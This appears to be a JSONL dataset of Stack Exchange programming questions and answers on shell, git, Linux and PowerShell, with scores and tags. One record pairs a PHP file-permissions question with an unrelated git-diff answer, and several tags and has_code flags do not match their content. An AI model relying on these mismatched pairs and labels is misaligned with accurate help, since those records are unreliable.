{"id": "hf_4b9b5c2ecf2d", "question": "<p>I'd like to redirect the stdout of process proc1 to two processes proc2 and proc3:</p>\n\n<pre><code>         proc2 -&gt; stdout\n       /\n proc1\n       \\ \n         proc3 -&gt; stdout\n</code></pre>\n\n<p>I tried</p>\n\n<pre><code> proc1 | (proc2 &amp; proc3)\n</code></pre>\n\n<p>but it doesn't seem to work, i.e.</p>\n\n<pre><code> echo 123 | (tr 1 a &amp; tr 1 b)\n</code></pre>\n\n<p>writes</p>\n\n<pre><code> b23\n</code></pre>\n\n<p>to stdout instead of </p>\n\n<pre><code> a23\n b23\n</code></pre>\n", "question_body": "", "answer": "Editor's note\n:\n-\n```\n>(…)\n```\nis a\nprocess substitution\nthat is a\nnonstandard shell feature\nof\nsome\nPOSIX-compatible shells:\n```\nbash\n```\n,\n```\nksh\n```\n,\n```\nzsh\n```\n.\n- This answer accidentally sends the output process substitution's output through the pipeline\ntoo\n:\n```\necho 123 | tee >(tr 1 a) | tr 1 b\n```\n.\n- Output from the process substitutions will be unpredictably interleaved, and, except in\n```\nzsh\n```\n, the pipeline may terminate before the commands inside\n```\n>(…)\n```\ndo.\nIn unix (or on a mac), use the\n```\ntee\n```\ncommand\n:\n```\n```\n$ echo 123 | tee >(tr 1 a) >(tr 1 b) >/dev/null\nb23\na23\n```\n```\nUsually you would use\n```\ntee\n```\nto redirect output to multiple files, but using >(...) you can\nredirect to another process. So, in general,\n```\n```\n$ proc1 | tee >(proc2) ... >(procN-1) >(procN) >/dev/null\n```\n```\nwill do what you want.\nUnder windows, I don't think the built-in shell has an equivalent. Microsoft's\nWindows PowerShell\nhas a\n```\ntee\n```\ncommand though.", "tags": ["bash", "powershell"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:34.852204"}
{"id": "hf_1bb72c46962e", "question": "<p>I'd like to script, preferably in rake, the following actions into a single command:</p>\n\n<ol>\n<li>Get the version of my local git repository.</li>\n<li>Git pull the latest code.</li>\n<li>Git diff from the version I extracted in step #1 to what is now in my local repository.</li>\n</ol>\n\n<p>In other words, I want to get the latest code form the central repository and immediately generate a diff of what's changed since the last time I pulled.</p>\n", "question_body": "", "answer": "This is very similar to a question I asked about\nhow to get changes on a branch in git\n. Note that the behaviour of git diff vs. git log is inconsistently different when using two dots vs. three dots. But, for your application you can use:\n```\n```\ngit fetch\ngit diff ...origin\n```\n```\nAfter that, a\n```\ngit pull\n```\nwill merge the changes into your HEAD.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:35.016228"}
{"id": "hf_f91f22195b32", "question": "<p>What are the best file permission settings for PHP scripts? Any suggestions on ways to figure out the minimum required permissions?</p>\n", "question_body": "", "answer": "This is very similar to a question I asked about\nhow to get changes on a branch in git\n. Note that the behaviour of git diff vs. git log is inconsistently different when using two dots vs. three dots. But, for your application you can use:\n```\n```\ngit fetch\ngit diff ...origin\n```\n```\nAfter that, a\n```\ngit pull\n```\nwill merge the changes into your HEAD.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:35.165345"}
{"id": "hf_7cecb02bf066", "question": "<p>We have a simple [spring-hibernate] application (console app) where in we have set the classpath in manifest file of the executable JAR file. And the app connects to the database using jTDS JDBC Driver, Everything works as expected on Windows machine and JDK 1.6, but on Linux, the app is unable to find the driver, \nWe are running the program using java -jar MainClassName.</p>\n\n<p>Any suggestions why this might be happening is greatly appreciated.</p>\n", "question_body": "", "answer": "Honestly it sounds like bad CLASSPATH. One thing I suggest to start debugging this problem is copying the jtds package to same path as your main packages/classes and see if it works. This way you can assure the Classpath manifest is or isn't the problem. The Spring/Hibernate relies on the lib directory, so it will always be on classpath because it's main structure. Use the lib directory also to test.\nHope this guidelines will help. Also send more information, like paths, classpath and manifest files.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:35.306167"}
{"id": "hf_2da9dca5170d", "question": "<p>How do I delete untracked local files from the current working tree?</p>\n", "question_body": "", "answer": "git-clean\nis what you are looking for. It is used to remove untracked files from the working tree.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:35.445065"}
{"id": "hf_22423ee5eef2", "question": "<p>I'm working on a cross platform application in Java which currently works nicely on Windows, Linux and MacOS X. I'm trying to work out a nice way to do detection (and handling) of 'crashes'. Is there an easy, cross-platform way to detect 'crashes' in Java and to do something in response?</p>\n\n<p>I guess by 'crashes' I mean uncaught exceptions. However the code does use some JNI so it'd be nice to be able to catch crashes from bad JNI code, but I have a feeling that's JVM specific.</p>\n", "question_body": "", "answer": "For handling uncaught exceptions you can provide a new ThreadGroup which provides an implementation of ThreadGroup.uncaughtException(...). You can then catch any uncaught exceptions and handle them appropriately (e.g. send a crash log home).\nI can't help you on the JNI front, there's probably a way using a native wrapper executable before calling the JVM, but that executable is going to need to know about all the possible JVMs it could be calling and how the indicate crashes and where crash logs are placed etc.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:35.624877"}
{"id": "hf_0956bdb5953c", "question": "<p>I use the VS2008 command prompt for builds, TFS access etc. and the cygwin prompt for grep, vi and unix-like tools. Is there any way I can 'import' the vcvars32.bat functionality into the cygwin environment so I can call \"tfs checkout\" from cygwin itself?</p>\n", "question_body": "", "answer": "According to\nthis page\nyou need to:\n\"Depending on your preference, you can either add the variables required for compilation direct to your environment, or use the vcvars32.bat script to set them for you. Note you have to compile from a cygwin bash shell, to use vcvars32, first run a DOS shell, then run vcvars32.bat, then run cygwin.bat from the directory where you installed cygwin. You can speed this up by adding the directory containgin vcvars32 (somewhere under \\Microsoft Visual Studio\\VC98\\bin) and the directory containing cygwin.bat to your path.\"", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:35.794969"}
{"id": "hf_ff49c33c5087", "question": "<p>How do I ask PowerShell where something is?  </p>\n\n<p>For instance, \"which notepad\" and it returns the directory where the notepad.exe is run from according to the current paths.</p>\n", "question_body": "", "answer": "This seems to do what you want (I found it on\nhttp://huddledmasses.org/powershell-find-path/\n):\n```\n```\nFunction Find-Path($Path, [switch]$All = $false, [Microsoft.PowerShell.Commands.TestPathType]$type = \"Any\")\n## You could comment out the function stuff and use it as a script instead, with this line:\n#param($Path, [switch]$All = $false, [Microsoft.PowerShell.Commands.TestPathType]$type = \"Any\")\n   if($(Test-Path $Path -Type $type)) {\n      return $path\n   } else {\n      [string[]]$paths = @($pwd);\n      $paths += \"$pwd;$env:path\".split(\";\")\n\n      $paths = Join-Path $paths $(Split-Path $Path -leaf) | ? { Test-Path $_ -Type $type }\n      if($paths.Length -gt 0) {\n         if($All) {\n            return $paths;\n         } else {\n            return $paths[0]\n         }\n      }\n   }\n   throw \"Couldn't find a matching path of type $type\"\n}\nSet-Alias find Find-Path\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:36.060075"}
{"id": "hf_99e8897d812e", "question": "<p>I have a rather large file (150 million lines of 10 chars). I need to split it in 150 files of 2 million lines, with each output line being alternatively the first 5 characters or the last 5 characters of the source line.\nI could do this in Perl rather quickly, but I was wondering if there was an easy solution using bash.\nAny ideas?</p>\n", "question_body": "", "answer": "Homework?  :-)\nI would think that a simple pipe with sed (to split each line into two) and split (to split things up into multiple files) would be enough.\nThe man command is your friend.\nAdded after confirmation that it is not homework:\nHow about\n```\n```\nsed 's/\\(.....\\)\\(.....\\)/\\1\\n\\2/' input_file | split -l 2000000 - out-prefix-\n```\n```\n?", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:36.177062"}
{"id": "hf_956a8cc804df", "question": "<p>When I use the default java locale on my linux machine it comes out with the US locale settings, where do I change this so that it comes out with the correct locale?</p>\n", "question_body": "", "answer": "You could call during init or whatever\nLocale.setDefault()\nor -Duser.language=, -Duser.country=, and -Duser.variant= at the command line.\nHere's something on Sun's site\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:36.301880"}
{"id": "hf_ad70c1de806e", "question": "<p>There are many SCM systems out there. Some open, some closed, some free, some quite expensive. Which one <em>(please choose only one)</em> would you use for a 3000+ developer organization with several sites (some behind a very slow link)? Explain why you chose the one you chose. (Give some reasons, not just \"because\".)</p>\n", "question_body": "", "answer": "Any DVCS (BitKeeper, git, Bazaar, Mercurial, etc) because being distributed will cut down the load on the central 'canonical' SCM server.  The caveat is that they're fairly new technology and not many people will be familiar with their use.\nIf you want to stick to the older, centralized model, I'd recommend Perforce if you can afford it, or Subversion if you don't want to pay for Perforce.  I'd recommend subversion over CVS because it's got enough features to make it worthwhile but is similar enough that devs who already know CVS will still be comfortable.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:36.568230"}
{"id": "hf_e6812cf1343c", "question": "<p>What characters are valid in a Java class name? What other rules govern Java class names (for instance, Java class names cannot begin with a number)?</p>\n", "question_body": "", "answer": "You can have almost any character, including most Unicode characters!  The exact definition is in\nthe Java Language Specification under section 3.8: Identifiers\n.\nAn\nidentifier\nis an unlimited-length sequence of\nJava letters\nand\nJava digits\n, the first of which must be a\nJava letter\n. ...\nLetters and digits may be drawn from the entire Unicode character set, ... This allows programmers to use identifiers in their programs that are written in their native languages.\nAn identifier cannot have the same spelling (Unicode character sequence) as a keyword (§3.9), boolean literal (§3.10.3), or the null literal (§3.10.7), or a compile-time error occurs.\nHowever, see\nthis question\nfor whether or not you should do that.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:36.679663"}
{"id": "hf_2d23e58d4446", "question": "<p>I need to get the number of digits containing the number 1. I know in java I can take the input as a <code>String</code> and use <code>charAt</code>, but I understand there is no implicit String function in C. How can I accomplish this?</p>\n", "question_body": "", "answer": "Division and modulus are your friends.\n```\n```\n#include \"stdio.h\"\n\nint main(){\n    int digits[] = {0,0,0,0,0,0,0,0,0,0};\n    int i = 11031;\n\n    while(i > 0){\n        digits[i % 10]++;\n        i = i / 10;\n    }\n\n    printf(\"There are %d ones.\\n\", digits[1]);\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:36.857117"}
{"id": "hf_77e251cb4242", "question": "<p>I am trying to achieve better performance for my Java SWT application, and I just found out it is possible to use OpenGL in SWT. It seems there are more than one Java binding for OpenGL. Which one do you prefer?</p>\n\n<p>Note that I have never used OpenGL before, and that the application needs to work on Windows, Linux and Mac OS X.</p>\n", "question_body": "", "answer": "Personally, I'm not even aware of Java bindings for OpenGL other than\nJOGL\n-- I think JOGL is pretty much the standard for Java OpenGL.\nIt works in Windows, Linux, and OS X, but you might want to read over the official documentation for some notes about specific issues in each platform.\nKeep in mind that the OpenGL paradigm is quite different from Swing/AWT or the Java 2D API; OpenGL is not a drop-in replacement for Swing.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:36.993166"}
{"id": "hf_b8e2bde6b5da", "question": "<p>I'm trying to find <a href=\"http://httpd.apache.org/docs/2.0/programs/ab.html\" rel=\"noreferrer\">ab - Apache HTTP server benchmarking tool</a> for Ubuntu, I'm hoping there's a package I can install for it. I decided I need to do some simple load testing on my applications.</p>\n", "question_body": "", "answer": "```\n```\n% sudo apt-get install apache2-utils\n```\n```\nThe command-not-found package in Ubuntu provides some slick functionality where if you type a command that can't be resolved to an executable (or bash function or whatever) it will query your apt sources and find a package that contains the binary you tried to execute.  So, in this case, I typed\n```\nab\n```\nat the command prompt:\n```\n```\n% ab\nThe program 'ab' is currently not installed.  You can install it by typing:\nsudo apt-get install apache2-utils\nbash: ab: command not found\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:37.118315"}
{"id": "hf_22fa1e8277d7", "question": "<p>Has anybody experience in building a custom style in Qt? What I have in my mind is a complete new style that affects all kind of widgets. I have seen some examples in the web for a custom combo box. But I have no idea how much time and code it takes to build a \"complete\" new custom style ... maybe someone can give me a hint.</p>\n\n<p>We think of using Qt 4.3 (or even newer) ...</p>\n", "question_body": "", "answer": "We've done it in the past (in Qt 3), and it's extremely time-consuming. We had a lot of problems with flickering, redraws not working the way we expected, sluggish behavior, bugs in the Qt implementation. It a lot less straight-forward than it seems, and there's little support or user experience too. Unless you need something really particular (as we did), I'd say it's not worth the trouble.\nOther frameworks are supposed to make it easier (some Java-based?), but I don't have first hand experience.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:37.243090"}
{"id": "hf_9791bcd855e6", "question": "<p>What is Windows' best I/O event notification facility? </p>\n\n<p>By best I mean something that ...</p>\n\n<ol>\n<li>doesn't have a limit on number of input file descriptors</li>\n<li>works on all file descriptors (disk files, sockets, ...)</li>\n<li>provides various notification modes (edge triggered, limit triggered)</li>\n</ol>\n", "question_body": "", "answer": "There isn't one yet, as far as I am aware.  A friend and I are working on an open source Windows epoll implementation (link below) but we're running into issues figuring out how to make it act the same as the Linux implementation.\nCurrent obstacles:\nIn Linux, file descriptors and socket descriptors are interchangeable, but in Windows they are not.  Both must be compatible with an epoll implementation.\nIn Windows it's quite tricky to get kernel events...  which is how epoll works in Linux.  We're guessing that a program using our cross-platform epoll library will run noticeably slower in Windows than Linux.\nI'll try to come back and update this post as we make progress with the project.\nhttp://sourceforge.net/projects/cpoll", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:37.408893"}
{"id": "hf_bc5ce937b4a1", "question": "<p>My <code>master</code> and <code>development</code> branches are tracked remotely on <a href=\"http://en.wikipedia.org/wiki/GitHub\" rel=\"noreferrer\">GitHub</a>. How do I clone both these branches?</p>\n", "question_body": "", "answer": "A\n```\ngit clone\n```\nis supposed to copy the entire repository.  Try cloning it, and then run\n```\ngit branch -a\n```\n.  It should list all the branches.  If then you want to switch to branch \"foo\" instead of \"master\", use\n```\ngit checkout foo\n```\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:37.636519"}
{"id": "hf_cf0542420e65", "question": "<p>Is it possible to get gdb or use some other tools to create a core dump of a running process and it's symbol table?  It would be great if there's a way to do this without terminating the process.  </p>\n\n<p>If this is possible, what commands would you use?  (I'm trying to do this on a Linux box)</p>\n", "question_body": "", "answer": "```\n$ gdb --pid=26426\n(gdb) gcore\nSaved corefile core.26426\n(gdb) detach\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:37.763480"}
{"id": "hf_1677e84a91c0", "question": "<p>What's a quick and easy way to view and edit ID3 tags (artist, album, etc.) using C#?</p>\n", "question_body": "", "answer": "TagLib Sharp\nhas support for reading ID3 tags.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:37.872745"}
{"id": "hf_555058a754ff", "question": "<p>I have a text file on my local machine that is generated by a daily Python script run in cron. </p>\n\n<p>I would like to add a bit of code to have that file sent securely to my server over SSH.</p>\n", "question_body": "", "answer": "You can call the\n```\nscp\n```\nbash command (it copies files over\nSSH\n) with\n```\nsubprocess.run\n```\n:\n```\n```\nimport subprocess\nsubprocess.run([\"scp\", FILE, \"USER@SERVER:PATH\"])\n#e.g. subprocess.run([\"scp\", \"foo.bar\", \"joe@srvr.net:/path/to/foo.bar\"])\n```\n```\nIf you're creating the file that you want to send in the same Python program, you'll want to call\n```\nsubprocess.run\n```\ncommand outside the\n```\nwith\n```\nblock you're using to open the file (or call\n```\n.close()\n```\non the file first if you're not using a\n```\nwith\n```\nblock), so you know it's flushed to disk from Python.\nYou need to generate (on the source machine) and install (on the destination machine) an ssh key beforehand so that the scp automatically gets authenticated with your public ssh key (in other words, so your script doesn't ask for a password).", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:37.979437"}
{"id": "hf_3cbc9a15164e", "question": "<p>I want to create a regexp in Emacs that matches exactly 3 digits.   For example, I want to match the following:</p>\n\n<pre><code>123\n345\n789\n</code></pre>\n\n<p>But not</p>\n\n<pre><code>1234\n12\n12 23\n</code></pre>\n\n<p>If I use <code>[0-9]+</code> I match any single string of digits.   I thought <code>[0-9]{3}</code> would work, but when tested in re-builder it doesn't match anything.</p>\n", "question_body": "", "answer": "It's pretty simple:\n```\n```\n[0-9][0-9][0-9]\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:38.232867"}
{"id": "hf_4a7fda4628c5", "question": "<p>I want to take a screenshot via a python script and unobtrusively save it.</p>\n\n<p>I'm only interested in the Linux solution, and should support any X based environment.</p>\n", "question_body": "", "answer": "```\n```\nimport ImageGrab\nimg = ImageGrab.grab()\nimg.save('test.jpg','JPEG')\n```\n```\nthis requires Python Imaging Library", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:38.350916"}
{"id": "hf_06372845ffae", "question": "<p>Besides the LD_PRELOAD trick , and Linux Kernel Modules that replace a certain syscall with one provided by you , is there any possibility to intercept a syscall ( open for example ) , so that it first goes through your function , before it reaches the actual open ?</p>\n", "question_body": "", "answer": "Why can't you / don't want to use the\nLD_PRELOAD trick\n?\nExample code here:\n```\n```\n/*\n * File: soft_atimes.c\n * Author: D.J. Capelis\n *\n * Compile:\n * gcc -fPIC -c -o soft_atimes.o soft_atimes.c\n * gcc -shared -o soft_atimes.so soft_atimes.o -ldl\n *\n * Use:\n * LD_PRELOAD=\"./soft_atimes.so\" command\n *\n * Copyright 2007 Regents of the University of California\n */\n\n#define _GNU_SOURCE\n#include <dlfcn.h>\n#define _FCNTL_H\n#include <sys/types.h>\n#include <bits/fcntl.h>\n#include <stddef.h>\n\nextern int errorno;\n\nint __thread (*_open)(const char * pathname, int flags, ...) = NULL;\nint __thread (*_open64)(const char * pathname, int flags, ...) = NULL;\n\nint open(const char * pathname, int flags, mode_t mode)\n{\n    if (NULL == _open) {\n        _open = (int (*)(const char * pathname, int flags, ...)) dlsym(RTLD_NEXT, \"open\");\n    }\n    if(flags & O_CREAT)\n        return _open(pathname, flags | O_NOATIME, mode);\n    else\n        return _open(pathname, flags | O_NOATIME, 0);\n}\n\nint open64(const char * pathname, int flags, mode_t mode)\n{\n    if (NULL == _open64) {\n        _open64 = (int (*)(const char * pathname, int flags, ...)) dlsym(RTLD_NEXT, \"open64\");\n    }\n    if(flags & O_CREAT)\n        return _open64(pathname, flags | O_NOATIME, mode);\n    else\n        return _open64(pathname, flags | O_NOATIME, 0);\n}\n```\n```\nFrom what I understand... it is pretty much the LD_PRELOAD trick or a kernel module.  There's not a whole lot of middle ground unless you want to run it under an emulator which can trap out to your function or do code re-writing on the actual binary to trap out to your function.\nAssuming you can't modify the program and can't (or don't want to) modify the kernel, the LD_PRELOAD approach is the best one, assuming your application is fairly standard and isn't actually one that's maliciously trying to get past your interception.  (In which case you will need one of the other techniques.)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:38.459858"}
{"id": "hf_9cb34ba06b0b", "question": "<p>As a lot of people pointed out in <a href=\"https://stackoverflow.com/questions/4724/learning-lisp-why\">this question</a>, Lisp is mostly used as a learning experience.  Nevertheless, it would be great if I could somehow use my Lisp algorithms and combine them with my C# programs.\nIn college my profs never could tell me how to use my Lisp routines in a program (no, not writing a GUI in Lisp, thank you).\nSo how can I?</p>\n", "question_body": "", "answer": "Try these .Net implementations of Lisp:\nIronScheme\nIronScheme will aim to be a R6RS\n  conforming Scheme implementation based\n  on the Microsoft DLR.\nL Sharp .NET\nL Sharp .NET is a powerful Lisp-like\n  scripting language for .NET. It uses a\n  Lisp dialect similar to Arc but\n  tightly integrates with the .NET\n  Framework which provides a rich set of\n  libraries.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:38.596139"}
{"id": "hf_6739b4fe9f39", "question": "<p>I've been looking for a way to convert an mp3 to aac programmatically or via the command line with no luck.  Ideally, I'd have a snippet of code that I could call from my rails app that converts an mp3 to an aac.  I installed ffmpeg and libfaac and was able to create an aac file with the following command:</p>\n\n<p><code>ffmpeg -i test.mp3 -acodec libfaac -ab 163840 dest.aac</code></p>\n\n<p>When i change the output file's name to dest.m4a, it doesn't play in iTunes.  </p>\n\n<p>Thanks!  </p>\n", "question_body": "", "answer": "There are only three free AAC encoders that I know of that are available through a commandline interface:\nFAAC (LPGL), which is honestly pretty bad (the quality is going to be significantly worse than LAME at the same bitrate).  Its fine though if you're willing to go for higher bitrates (>>128kbps) and need AAC for compatibility, not quality reasons.  The most common way to use FAAC is through ffmpeg, as libfaac.\nNero AAC, the commandline encoder for which is available for free under Windows and Linux, but only for noncommercial use (and is correspondingly closed-source).\nffmpeg's AAC encoder, which is still under development and while I believe it does technically work, it is not at all stable or good or even fast, since its still in the initial stages.  Its also not available in trunk, as far as I know.\n(Edit: Seems iTunes might have one too, I suspect its terms of use are similar to Nero's.  AFAIK its quality is comparable.)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:38.744730"}
{"id": "hf_1028925be18a", "question": "<p>In Java, you often see a META-INF folder containing some meta files. What is the purpose of this folder and what can I put there?</p>\n", "question_body": "", "answer": "From\nthe official JAR File Specification\n(link goes to the Java 7 version, but the text hasn't changed since at least v1.3):\nThe META-INF directory\nThe following files/directories in the META-INF directory are recognized and interpreted by the Java 2 Platform to configure applications, extensions, class loaders and services:\n```\nMANIFEST.MF\n```\nThe manifest file that is used to define extension and package related data.\n```\nINDEX.LIST\n```\nThis file is generated by the new \"\n```\n-i\n```\n\" option of the jar tool, which contains location information for packages defined in an application or extension.  It is part of the JarIndex implementation and used by class loaders to speed up their class loading process.\n```\nx.SF\n```\nThe signature file for the JAR file. 'x' stands for the base file name.\n```\nx.DSA\n```\nThe signature block file associated with the signature file with the same base file name. This file stores the digital signature of the corresponding signature file.\n```\nservices/\n```\nThis directory stores all the service provider configuration files.\nNew since Java 9 implementing\nJEP 238\nare multi-release JARs. One will see a sub folder\n```\nversions\n```\n. This is a feature which allows to package classes which are meant for different Java version in one jar.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:38.893205"}
{"id": "hf_754e6606d531", "question": "<p>When trying to commit to a cvs branch after adding a new file I get this error</p>\n\n<pre><code>Assertion failed: key != NULL, file hash.c, line 317\n</code></pre>\n\n<p>Any idea how to fix it so I can check my code in?<br>\nBoth server and client are Linux and there are pre-commits involved.</p>\n", "question_body": "", "answer": "Perhaps there is some kind of pre-commit check on your repository, see\nhere", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:39.023041"}
{"id": "hf_988be9e36fa7", "question": "<p>When creating the <code>id</code> attributes for HTML elements, what rules are there for the value?</p>\n", "question_body": "", "answer": "From the\nHTML 4 specification\n:\nID and NAME tokens must begin with a letter ([A-Za-z]) and may be followed by any number of letters, digits ([0-9]), hyphens (\"-\"), underscores (\"_\"), colons (\":\"), and periods (\".\").\nA common mistake is to use an ID that starts with a digit.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:39.214245"}
{"id": "hf_8aed98afa479", "question": "<p>I've just introduced a friend to <strong>GNU Screen</strong> and they're having a hard time getting used to it. That makes me think about the essential things he needs to know about the excellent <strong>Screen</strong> utility, the same things that you'd think worthwhile to teach someone, a beginner, from the ground up. What are some analogies and handy tips for remembering binds, etc.?</p>\n\n<p>It would be awesome.</p>\n", "question_body": "", "answer": "If your friend is in the habit of pressing\n```\n^A\n```\nto get to the beginning of the line in Bash, he/she is in for some surprises, since\n```\n^A\n```\nis the screen command key binding. Usually I end up with a frozen screen, possibly because of some random key I pressed after\n```\n^A\n```\n:-)\nIn those cases I try\n```\n^A s\n```\nand\n```\n^A q\n```\nblock/unblock terminal scrolling\nto fix that. To go to the beginning of a line inside screen, the key sequence is\n```\n^A a\n```\n.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:39.325503"}
